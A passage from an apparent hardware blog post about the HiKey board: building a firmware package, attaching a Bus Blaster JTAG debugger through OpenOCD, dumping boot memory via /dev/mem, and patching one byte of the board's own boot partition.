  file: './build/hikey/debug/bl2.bin'
- EL3 Runtime Firmware BL3-1: offset=0x9200, size=0xB010
  file: './build/hikey/debug/bl31.bin'
- Secure Payload BL3-2 (Trusted OS): offset=0x14210, size=0x4D244
  file: '/opt/hikey/linaro-edk2/Build/HiKey/DEBUG_GCC49/FV/tee.bin'
- SCP Firmware BL3-0: offset=0x61454, size=0x23D00
  file: '/opt/hikey/linaro-edk2/HisiPkg/HiKeyPkg/NonFree/mcuimage.bin'
- Non-Trusted Firmware BL3-3: offset=0x85154, size=0xF0000
  file: '/opt/hikey/linaro-edk2/Build/HiKey/DEBUG_GCC49/FV/BL33_AP_UEFI.fd'
---------------------------
Creating "build/hikey/debug/fip.bin"

Built build/hikey/debug/fip.bin successfully
</code></pre></div></div>

<h2 id="jtag-the-hikey">JTAG the HiKey</h2>

<p>There is another wonderful guide about <a href="https://github.com/96boards/documentation/blob/master/ConsumerEdition/HiKey/Configuration/JTAG/README.md">JTAGging the HiKey</a>, this is why I love this platform, such amazing documentation. That guide includes notes for <a href="http://dangerousprototypes.com/docs/Bus_Blaster_buffer_logic">Dangerous Prototype’s Bus Blaster</a>, a very handy device I’ll use in this exploration.</p>

<h3 id="soldering-the-jtag-breakout">Soldering the JTAG breakout</h3>

<p>What you’ll need:</p>

<ul>
  <li>A Bus Blaster or equivalent JTAG interface</li>
  <li>Basic soldering skills</li>
  <li><a href="http://www.digikey.com/product-detail/en/samtec-inc/FTSH-105-01-L-DV-K/SAM8799-ND/1875039"><code class="language-plaintext highlighter-rouge">FTSH-105-01-L-DV-K</code></a> to attach to the HiKey</li>
  <li>A <a href="https://1bitsquared.com/products/20pin-jtag-adapter">SWD 10pin to 20pin JTAG breakout</a> (if using the Bus Blaster)</li>
  <li>A <a href="https://www.adafruit.com/product/1675">SWD 10pin ribbon</a></li>
</ul>

<p>I had the breakout and ribbon from my <a href="https://1bitsquared.com/products/black-magic-probe">Black Magic Probe</a> kit. :)</p>

<p>Soldering the <code class="language-plaintext highlighter-rouge">FTSH-105-01-L-DV-K</code> was easy, hold it in place with a finger and solder with an iron, some primed solder and flux.</p>

<p><img src="/assets/images/hikey-jtag.jpeg" alt="hikey-jtag" /></p>

<p>The HiKey schematic very useful: <a href="assets/96Boards-Hikey-Rev-A1.pdf">https://www.96boards.org/wp-content/uploads/2015/02/96Boards-Hikey-Rev-A1.pdf</a></p>

<p><img src="/assets/images/hikey-jtag-pinout.png" alt="hikey-jtag-pinout" /></p>

<p>Knowing the pinout allowed me to trace each into the Bus Blaster’s breakout so I was absolutely sure I hadn’t attached a ribbon backward or soldered housing upside-down (it happens more often than it should in my life). I didn’t bother attaching power since the HiKey is self-powered and supplying too much voltage will brick your board.</p>

<h3 id="configuring-the-bus-blaster">Configuring the Bus Blaster</h3>

<p>Plugging in the Bus Blaster’s USB to my desktop:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>usb 1-9: new high-speed USB device number 6 using xhci_hcd
usb 1-9: New USB device found, <span class="nv">idVendor</span><span class="o">=</span>0403, <span class="nv">idProduct</span><span class="o">=</span>6010
usb 1-9: New USB device strings: <span class="nv">Mfr</span><span class="o">=</span>1, <span class="nv">Product</span><span class="o">=</span>2, <span class="nv">SerialNumber</span><span class="o">=</span>0
usb 1-9: Product: Dual RS232-HS
usb 1-9: Manufacturer: FTDI
ftdi_sio 1-9:1.0: FTDI USB Serial Device converter detected
usb 1-9: Detected FT2232H
usb 1-9: FTDI USB Serial Device converter now attached to ttyUSB1
ftdi_sio 1-9:1.1: FTDI USB Serial Device converter detected
usb 1-9: Detected FT2232H
usb 1-9: FTDI USB Serial Device converter now attached to ttyUSB2
</code></pre></div></div>

<p>Let’s compile <code class="language-plaintext highlighter-rouge">openocd</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://git.linaro.org/people/peter.griffin/openocd-code
<span class="nb">cd </span>openocd-code
git checkout armv8
git submodule update <span class="nt">--init</span> <span class="nt">--recursive</span>
autoreconf <span class="nt">-iv</span>

<span class="nb">mkdir</span> ../openocd
./configure <span class="nt">--enable-ftdi</span> <span class="nt">--prefix</span> <span class="sb">`</span><span class="nb">realpath</span> ../openocd<span class="sb">`</span>
make
make <span class="nb">install</span>
</code></pre></div></div>

<p>The HiKey guides tells us:</p>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">JP4</code>, the target power select jumper, must be disconnected.</strong></li>
  <li>The BBv3 buffer logic must be programmed with SVF from <a href="https://github.com/bharrisau/busblaster">https://github.com/bharrisau/busblaster</a>.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/bharrisau/busblaster
<span class="nb">cd </span>busblaster
../openocd/bin/openocd <span class="nt">-f</span> board/dp_busblaster_v3.cfg <span class="nt">-c</span> <span class="s2">"adapter_khz 1000; init; svf ./synthesis/system.svf; shutdown"</span>
</code></pre></div></div>

<p>We should see output similar to:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Open On-Chip Debugger 0.9.0-dev-00001-g1bef29e (2016-11-20-18:58)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.sourceforge.net/doc/doxygen/bugs.html
Info : If you need SWD support, flash KT-Link buffer from https://github.com/bharrisau/busblaster
and use dp_busblaster_kt-link.cfg instead
Error: session transport was not selected. Use 'transport select &lt;transport&gt;'
Info : session transport was not selected, defaulting to JTAG
adapter speed: 1000 kHz
Info : clock speed 1000 kHz
Info : JTAG tap: xc2c32a.tap tap/device found: 0x06e1c093 (mfg: 0x049, part: 0x6e1c, ver: 0x0)
Warn : gdb services need one or more targets defined
svf processing file: "./synthesis/system.svf"
TRST OFF;
[...]
Time used: 0m0s652ms 
svf file programmed successfully for 214 commands with 0 errors
shutdown command invoked
</code></pre></div></div>

<h2 id="attaching-to-the-hikey">Attaching to the HiKey</h2>

<p>Now we can use our compiled <code class="language-plaintext highlighter-rouge">openocd</code> and configured Bus Blaster:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">INTERFACE</span><span class="o">=</span>interface/ftdi/dp_busblaster_kt-link.cfg
openocd/bin/openocd <span class="nt">-f</span> <span class="nv">$INTERFACE</span> <span class="nt">-f</span> target/hi6220.cfg
Open On-Chip Debugger 0.9.0-dev-00001-g1bef29e <span class="o">(</span>2016-11-20-18:58<span class="o">)</span>
Licensed under GNU GPL v2
For bug reports, <span class="nb">read
    </span>http://openocd.sourceforge.net/doc/doxygen/bugs.html
adapter speed: 10 kHz
jtag_ntrst_delay: 100
trst_and_srst combined srst_gates_jtag trst_push_pull srst_open_drain connect_deassert_srst
Info : clock speed 10 kHz
Info : JTAG tap: hi6220.dap tap/device found: 0x5ba00477 <span class="o">(</span>mfg: 0x23b, part: 0xba00, ver: 0x5<span class="o">)</span>
Info : hi6220.cpu: hardware has 6 breakpoints, 4 watchpoints
</code></pre></div></div>

<p>If the soldering or pinout was incorrect you may see results similar to:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Info : clock speed 10 kHz
Error: JTAG scan chain interrogation failed: all ones
Error: Check JTAG interface, timings, target power, etc.
Error: Trying to use configured scan chain anyway...
Error: hi6220.dap: IR capture error; saw 0x0f not 0x01
Warn : Bypassing JTAG setup events due to errors
Warn : Invalid ACK 0x7 in JTAG-DP transaction
</code></pre></div></div>

<p>If you see this, trace again, and really quick reflow the JTAG pads.</p>

<p><img src="/assets/images/bbv3-bmp.jpeg" alt="bbv3-bmp" /></p>

<p>Open OpenOCD’s telnet interface:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>telnet localhost 4444
Trying 127.0.0.1...
Connected to localhost.
Escape character is <span class="s1">'^]'</span><span class="nb">.</span>
Open On-Chip Debugger
<span class="o">&gt;</span>
</code></pre></div></div>

<p>Try to <code class="language-plaintext highlighter-rouge">halt</code> the CPU:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> halt
number of cache level 2
cache l2 present :not supported
hi6220.cpu cluster 0 core 0 multi core
target state: halted
target halted <span class="k">in </span>ARM64 state due to debug-request, current mode: EL2H
cpsr: 0x60000309 pc: 0x7ff421a8
MMU: enabled, D-Cache: enabled, I-Cache: enabled
</code></pre></div></div>

<p>Then inspect the CPU registers:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> reg
<span class="o">=====</span> arm v8 registers
<span class="o">(</span>34<span class="o">)</span> x0 <span class="o">(</span>/64<span class="o">)</span>: 0x0000000000000306 <span class="o">(</span>dirty<span class="o">)</span>
<span class="o">[</span>...]
<span class="o">(</span>58<span class="o">)</span> x24 <span class="o">(</span>/64<span class="o">)</span>: 0x000000007FF56584
<span class="o">(</span>59<span class="o">)</span> x25 <span class="o">(</span>/64<span class="o">)</span>: 0x000000007FF565D3
<span class="o">(</span>60<span class="o">)</span> x26 <span class="o">(</span>/64<span class="o">)</span>: 0x000000007FF56599
<span class="o">(</span>61<span class="o">)</span> x27 <span class="o">(</span>/64<span class="o">)</span>: 0x000000003DBF7531
<span class="o">(</span>62<span class="o">)</span> x28 <span class="o">(</span>/64<span class="o">)</span>: 0x000000003DBF7525
<span class="o">(</span>63<span class="o">)</span> x29 <span class="o">(</span>/64<span class="o">)</span>: 0x0000000000000000
<span class="o">(</span>64<span class="o">)</span> x30 <span class="o">(</span>/64<span class="o">)</span>: 0x000000007FF42184
<span class="o">(</span>65<span class="o">)</span> sp <span class="o">(</span>/64<span class="o">)</span>: 0x000000003DFFF9B0
<span class="o">(</span>66<span class="o">)</span> pc <span class="o">(</span>/64<span class="o">)</span>: 0x000000007FF421A8
<span class="o">(</span>67<span class="o">)</span> CPSR <span class="o">(</span>/32<span class="o">)</span>: 0x60000309
</code></pre></div></div>

<p>Finally, let’s break and step:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> bp 0x7ff421a8 4 hw
breakpoint <span class="nb">set </span>at 0x        7ff421a8
<span class="o">&gt;</span> resume
target state: halted
target halted <span class="k">in </span>ARM64 state due to breakpoint, current mode: EL2H
cpsr: 0x60000309 pc: 0x7ff421a8
MMU: enabled, D-Cache: enabled, I-Cache: enabled
<span class="o">&gt;</span> step
target state: halted
target halted <span class="k">in </span>ARM64 state due to breakpoint, current mode: EL2H
cpsr: 0x60000309 pc: 0x7ff421a8
MMU: enabled, D-Cache: enabled, I-Cache: enabled
<span class="nb">timeout </span>waiting <span class="k">for </span>target halt
<span class="k">in </span>procedure <span class="s1">'step'</span>
</code></pre></div></div>

<h2 id="run-time-flashing">Run-time flashing</h2>

<p>As an aside, we can read the <code class="language-plaintext highlighter-rouge">l-loader</code> and <code class="language-plaintext highlighter-rouge">BL1</code> MMIO area (<code class="language-plaintext highlighter-rouge">0xF980:0800</code>) on the booted HiKey using:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;errno.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;inttypes.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="n">target</span> <span class="o">=</span> <span class="mh">0xf9800000</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">size</span> <span class="o">=</span> <span class="mh">0xf000</span><span class="p">;</span>

    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">pagesize</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span><span class="p">)</span><span class="n">getpagesize</span><span class="p">();</span> <span class="cm">/* or sysconf(_SC_PAGESIZE)  */</span>
    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">map_size</span> <span class="o">=</span> <span class="n">pagesize</span><span class="p">;</span>

    <span class="kt">unsigned</span> <span class="n">offset</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)(</span><span class="n">target</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">pagesize</span><span class="o">-</span><span class="mi">1</span><span class="p">));</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">offset</span> <span class="o">+</span> <span class="mi">4</span> <span class="o">&gt;</span> <span class="n">pagesize</span> <span class="p">)</span> <span class="p">{</span>
        <span class="c1">// Access straddles page boundary:  add another page:</span>
        <span class="n">map_size</span> <span class="o">+=</span> <span class="n">pagesize</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/dev/mem"</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_SYNC</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Error opening /dev/mem (%d)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">errno</span><span class="p">);</span>
        <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="kt">void</span> <span class="o">*</span><span class="n">map_base</span><span class="p">,</span> <span class="o">*</span><span class="n">virt_addr</span><span class="p">;</span>
    <span class="n">map_base</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> <span class="n">MAP_SHARED</span><span class="p">,</span>
                    <span class="n">fd</span><span class="p">,</span> 
                    <span class="n">target</span> <span class="o">&amp;</span> <span class="o">~</span><span class="p">((</span><span class="n">typeof</span><span class="p">(</span><span class="n">target</span><span class="p">))</span><span class="n">pagesize</span><span class="o">-</span><span class="mi">1</span><span class="p">));</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">map_base</span> <span class="o">==</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Error mapping (%d)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">errno</span><span class="p">);</span>
        <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">virt_addr</span> <span class="o">=</span> <span class="n">map_base</span> <span class="o">+</span> <span class="n">offset</span><span class="p">;</span>
    <span class="kt">FILE</span><span class="o">*</span> <span class="n">in</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"output.bin"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">);</span>
    <span class="n">fwrite</span><span class="p">((</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span> <span class="n">virt_addr</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">in</span><span class="p">);</span>

    <span class="n">fclose</span><span class="p">(</span><span class="n">in</span><span class="p">);</span>
    <span class="n">munmap</span><span class="p">(</span><span class="n">map_base</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
    <span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We should see our <code class="language-plaintext highlighter-rouge">l-loader.bin</code> when <code class="language-plaintext highlighter-rouge">hexdump -C output.bin | less</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000800  3e 00 00 ea 42 4f 4f 54  4d 41 47 49 43 4e 55 4d  |&gt;...BOOTMAGICNUM|
00000810  42 45 52 21 00 08 80 f9  00 ea 80 f9 45 4e 54 52  |BER!........ENTR|
00000820  59 48 44 52 6c 6f 61 64  65 72 00 00 04 00 00 00  |YHDRloader......|
00000830  02 00 00 00 01 00 00 00  45 4e 54 52 59 48 44 52  |........ENTRYHDR|
00000840  62 6c 31 00 00 00 00 00  08 00 00 00 6d 00 00 00  |bl1.........m...|
00000850  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000860  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
[...]
</code></pre></div></div>

<p>Let’s see if we can flip a byte: <code class="language-plaintext highlighter-rouge">sudo devmem -r 0xF980B730 b 0x56</code>. This should change ‘v1.1’ to ‘V1.1’. But this change doesn’t persist, ha!</p>

<p>We should also see the contents at offset <code class="language-plaintext highlighter-rouge">0x0800</code> on the <code class="language-plaintext highlighter-rouge">/dev/mmcblk0boot0</code> device in Linux:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>hikey<span class="o">)</span><span class="nv">$ </span><span class="nb">sudo dd </span><span class="k">if</span><span class="o">=</span>/dev/mmcblk0boot0 <span class="nv">of</span><span class="o">=</span>/tmp/boot0 <span class="nv">bs</span><span class="o">=</span>512
8192+0 records <span class="k">in
</span>8192+0 records out
4194304 bytes <span class="o">(</span>4.2 MB<span class="o">)</span> copied, 0.299964 s, 14.0 MB/s
<span class="o">(</span>hikey<span class="o">)</span><span class="nv">$ </span>hexdump <span class="nt">-C</span> /tmp/boot0 | <span class="nb">head</span> <span class="nt">-n</span> 10
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
<span class="k">*</span>
00000800  3e 00 00 ea 42 4f 4f 54  4d 41 47 49 43 4e 55 4d  |&gt;...BOOTMAGICNUM|
00000810  42 45 52 21 00 08 80 f9  00 ea 80 f9 45 4e 54 52  |BER!........ENTR|
00000820  59 48 44 52 6c 6f 61 64  65 72 00 00 04 00 00 00  |YHDRloader......|
00000830  02 00 00 00 01 00 00 00  45 4e 54 52 59 48 44 52  |........ENTRYHDR|
00000840  62 6c 31 00 00 00 00 00  08 00 00 00 6d 00 00 00  |bl1.........m...|
00000850  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000860  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
<span class="k">*</span>
</code></pre></div></div>

<p>We can persist changes to the <code class="language-plaintext highlighter-rouge">l-loader</code> and <code class="language-plaintext highlighter-rouge">BL1</code> code by writing back to the Alternate Boot option:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>hikey<span class="o">)</span><span class="nv">$ </span><span class="nb">echo </span>0 | <span class="nb">sudo tee</span> /sys/block/mmcblk0boot0/force_ro
0
<span class="o">(</span>hikey<span class="o">)</span><span class="nv">$ </span><span class="nb">printf</span> <span class="s1">'\x56'</span> | <span class="nb">sudo dd </span><span class="nv">conv</span><span class="o">=</span>notrunc <span class="nv">of</span><span class="o">=</span>/tmp/boot0 <span class="nv">bs</span><span class="o">=</span>1 <span class="nv">seek</span><span class="o">=</span><span class="k">$((</span><span class="m">0</span>xb730<span class="k">))</span>
<span class="o">(</span>hikey<span class="o">)</span><span class="nv">$ </span><span class="nb">sudo dd </span><span class="k">if</span><span class="o">=</span>/tmp/boot0 <span class="nv">of</span><span class="o">=</span>/dev/mmcblk0boot0 <span class="nv">bs</span><span class="o">=</span>512
8192+0 records <span class="k">in
</span>8192+0 records out
4194304 bytes <span class="o">(</span>4.2 MB<span class="o">)</span> copied, 0.876785 s, 4.8 MB/s
</code></pre></div></div>

<p>Then <code class="language-plaintext highlighter-rouge">reboot</code> and check for a capital <code class="language-plaintext highlighter-rouge">V</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>NOTICE:  Booting Trusted Firmware
NOTICE:  BL1: V1.1(debug):167e4ed
NOTICE:  BL1: Built : 20:34:57, Nov 20 2016
INFO:    BL1: RAM 0xf9810000 - 0xf9818000
</code></pre></div></div>]]></content><author><name></name></author><category term="hardware" /><category term="arm" /><category term="hikey" /><category term="firmware" /><summary type="html"><![CDATA[This is a walkthrough for flashing custom ARM Trusted Firmware, OP-TEE, and the ARM UEFI Platform code on the Hikey board. Custom means code we’ve built it on our development machine, we’re not making any changes to these reference implementations just yet.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://theopolis.github.io/assets/images/hikey-jtag.jpg" /><media:content medium="image" url="https://theopolis.github.io/assets/images/hikey-jtag.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>